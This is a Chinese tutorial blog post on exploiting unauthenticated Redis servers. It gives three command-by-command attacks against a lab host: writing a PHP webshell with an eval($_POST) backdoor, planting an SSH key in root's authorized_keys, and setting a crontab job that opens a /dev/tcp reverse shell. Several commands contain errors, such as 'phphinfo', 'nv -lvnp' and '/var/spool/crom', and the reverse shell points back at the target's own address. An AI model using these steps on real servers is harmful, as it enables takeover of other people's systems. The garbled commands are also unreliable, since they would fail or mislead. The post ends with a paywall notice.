提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
中间件框架漏洞-Readis未授权访问漏洞
提示:以下是本篇文章正文内容,下面案例可供参考
一、Redis未授权原理
原理:简单的理解,当redis服务(6379)端口对外开放且未做密码认证时,任意用户可未授权访问redis服务并操作获取数据。
二、三种利用redis未授予权访问漏洞
1.利用redis写webshell
1.redis-cli -h 192.168.75.131
2.config set dir /var/www/html
3.config set dbfilename redis.php
4.set x "\r\n\r\n<?php phphinfo();?>\r\n\r\n" 这样就成功写如shell
可以写入一句话木马,菜刀连接
当数据库过大时,redis写shell的小技巧:(借鉴学习的)如下
<?php
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
?>
2.利用redis写ssh公钥getshell
1.ssh -keygen -t rsa (通过kali生成一个公钥)
2.cd /root/.ssh
3.echo -e "\n";cat id_rsa.pub;echo -e "\n">key.txt
4.ls(看一下是否写成)
5.cat /root/.ssh/key.txt |.redis-cli -h 192.168.75.131 -x set pub
6.远程登录靶机的redis服务
redis-cli -h 192.168.75.131
7.config get dir(得到redis的备份路径)
8.config set dir /root/.ssh
9.config set dbfilename authorized_keys
10.检查是否更改成功(查看有没有authorized_keys文件),没有问题保存退出
11.save
12.exit
13.在攻击机上使用ssh免密登录靶机:
ssh -i id_rsa root@192.168.75.131
3.利用定时任务(crontab)反弹shell
1.在kali上监听 nv -lvnp 4444
2.redis-cli -h 192.168.75.131
3.set xxx"\n\n*/1 * * * * /bin/bash -i&/dev/tcp/192.168.75.131/4444 0>&1\n\n"
4.config set dir /var/spool/crom
5.config set dbfilename root
5.save
本文含有隐藏内容,请 开通VIP 后查看